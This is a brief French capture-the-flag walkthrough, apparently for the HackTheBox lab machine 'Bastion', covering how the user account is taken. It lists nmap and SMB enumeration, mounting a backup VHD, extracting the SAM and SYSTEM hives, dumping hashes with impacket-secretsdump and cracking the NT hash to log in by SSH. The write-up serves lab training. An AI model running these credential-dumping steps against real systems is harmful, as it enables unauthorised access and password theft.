User own

nmap -sC -sV -oA bastion 10.10.10.134

Pas de serveur web, juste un serveur SMB qui est probablement le point d'entrée.

Listing des shares : **smbclient -L //10.10.10.134**

$ sur 3 des shares sauf Backups qui n'est donc pas un default share.

Montage du share Backups avec cifs qui est utilisé pour windows afin de monter (aussi smbfs) : **mount -t cifs //10.10.10.134/Backups /mnt/smb**

On trouve des fichiers vhd (disques virtuels). On peut en lister le contenu : **7z l nom_du_fichier**

On prend celle qui contient l'installation Windows et on la monte avec guestmount : **guestmount --add nom_du_fichier --inspector --ro -v /mnt/vhd**

-ro Read Only -v Verbose

Dans le disque on peut chercher des fichiers intéressants sur le bureau etc sur le dossier de l'utilisateur : **find Desktop Documents Downloads -ls**

On ne trouve rien on va donc dans le dossier Windows/System32/config. On extrait SAM et SYSTEM.

On tente de dump les hash : impacket-secretsdump -sam SAM -system SYSTEM local

On trouve des hash dont celui de l'utilisateur. On observe ses droits sur les autres shares : **smbmap -u L4mpje -p lmhash:nthash_du_user -H 10.10.10.134**

L'authentification fonctionne mais l'utilisateur n'a pas de droits d'accès. On va donc utiliser ses hash pour se connecter avec SSH. Il faut d'abord crack son nthash. On utilise une rainbow table qui nous donne la correspondance. On a donc son mot de passe. On se connecte avec succès sur la machine avec ssh.